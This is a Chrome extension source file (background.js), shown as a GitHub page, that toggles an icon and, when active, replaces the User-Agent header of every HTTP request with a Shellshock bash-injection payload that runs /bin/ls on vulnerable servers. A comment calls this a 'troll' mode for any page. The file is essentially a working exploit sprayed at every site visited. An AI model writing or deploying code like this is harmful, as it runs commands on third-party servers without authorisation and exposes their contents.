-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbackground.js
44 lines (38 loc) · 1.23 KB
/
background.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function UASHELLSHOCKACTIVE(){
var id=localStorage.getItem('UASHS_isactive');
if(id=='0') {
localStorage.setItem('UASHS_isactive',1);
chrome.browserAction.setIcon({path:"icon/noactive_icon.png"});
} else {
localStorage.setItem('UASHS_isactive',0);
chrome.browserAction.setIcon({path:"icon/active_icon.png"});
}
}
chrome.browserAction.onClicked.addListener(UASHELLSHOCKACTIVE);
chrome.webRequest.onBeforeSendHeaders.addListener(
//sUserAgenteString = "() { test;};echo 'Content-type: text/plain'; echo; echo; /bin/ls";
function(sReq) {
// Varrendo header para lozalizar variavel User-Agent
// no header
var aHeaders = sReq.requestHeaders;
console.log(aHeaders);
if(localStorage.getItem('UASHS_isactive') == '0') {
aHeaders.forEach(function(header, i) {
if (header.name == 'User-Agent') {
header.value = "() { test;};echo 'Content-type: text/plain'; echo; echo; /bin/ls";
}
});
}
return {requestHeaders: aHeaders};
},
{
// Modo troll master ativo qualquer página ;)
urls: [
"http://*/*"
]
},
[
"blocking",
"requestHeaders"
]
);